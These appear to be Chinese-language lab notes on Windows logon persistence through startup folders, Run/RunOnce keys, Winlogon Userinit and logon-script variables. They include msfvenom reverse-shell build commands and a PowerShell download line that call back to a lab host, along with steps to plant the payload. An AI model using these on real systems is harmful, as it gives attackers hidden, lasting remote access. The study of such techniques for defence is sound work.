每个用户登录windows的时候会启动某个文件夹中的程序,这个文件夹叫”启动文件夹“
每个用户都有一个文件夹
C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
在其中放置要在用户登录时运行的可执行文件。攻击者只需将有效负载放入其中即可实现持久性。每个用户只会运行其文件夹中可用的内容。
若想强制所有用户在登录时运行有效负载C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
//没找到就查看隐藏文件夹
下面将反弹shell放到这个文件夹
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.37.236 LPORT=4455 -f exe -o revshell.exe

Run / RunOnce
使用以下注册表项来指定在登录时运行的应用程序,而不是将有效负载传递到特定目录:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
注册表项HKCU
仅适用于当前用户,下面的注册表项HKLM
将适用于所有人。在该键下指定的任何程序都Run
将在用户每次登录时运行。键下指定的程序RunOnce
将仅执行一次。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.37.236 LPORT=4444 -f exe -o revshell.exe
将其传输到受害机器后,将其移动到C:\Windows
powershell “(New-Object System.Net.WebClient).Downloadfile(‘http://10.2.37.236:8000/revshell.exe’,’revshell.exe’)”
接下来创建一个注册表项
c:\tools\pstools\PsExec64.exe -s -i regedit //打开注册表
在注册表的地址输入窗口输入:HKLM\Software\Microsoft\Windows\CurrentVersion\Run //根据上文,这表示所有人,在这个键(目录)下的程序都会在用户每次登录时运行。

选 Expandable String Value
重新登录后获得shell

Winlogon
登录时自动启动程序的另一种替代方法是滥用 Winlogon,这是一种 Windows 组件,可在身份验证(除其他外)后立即加载用户配置文件。
Winlogon在注册表项的这个位置:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

Userinit
指向userinit.exe
,它负责恢复您的用户配置文件首选项。shell
指向系统的 shell,通常是explorer.exe
修改Userinit 的DATA 可以附加用逗号分隔的命令,Winlogon 将处理所有命令。
然后重新连接,就能获取shell

登录脚本
加载用户配置文件时要做的事情之一 userinit.exe
是检查名为 的环境变量UserInitMprLogonScript
。可以使用此环境变量将登录脚本分配给用户,该脚本将在登录计算机时运行。默认情况下未设置该变量,因此可以创建它并分配任何脚本
要为用户创建环境变量,可以转到HKCU\Environment
注册表中的环境变量。使用该UserInitMprLogonScript
条目指向有效负载,以便在用户登录时加载它。但是由于这个没有等效的HKLM,因此只能给当前而不是所有用户设置。
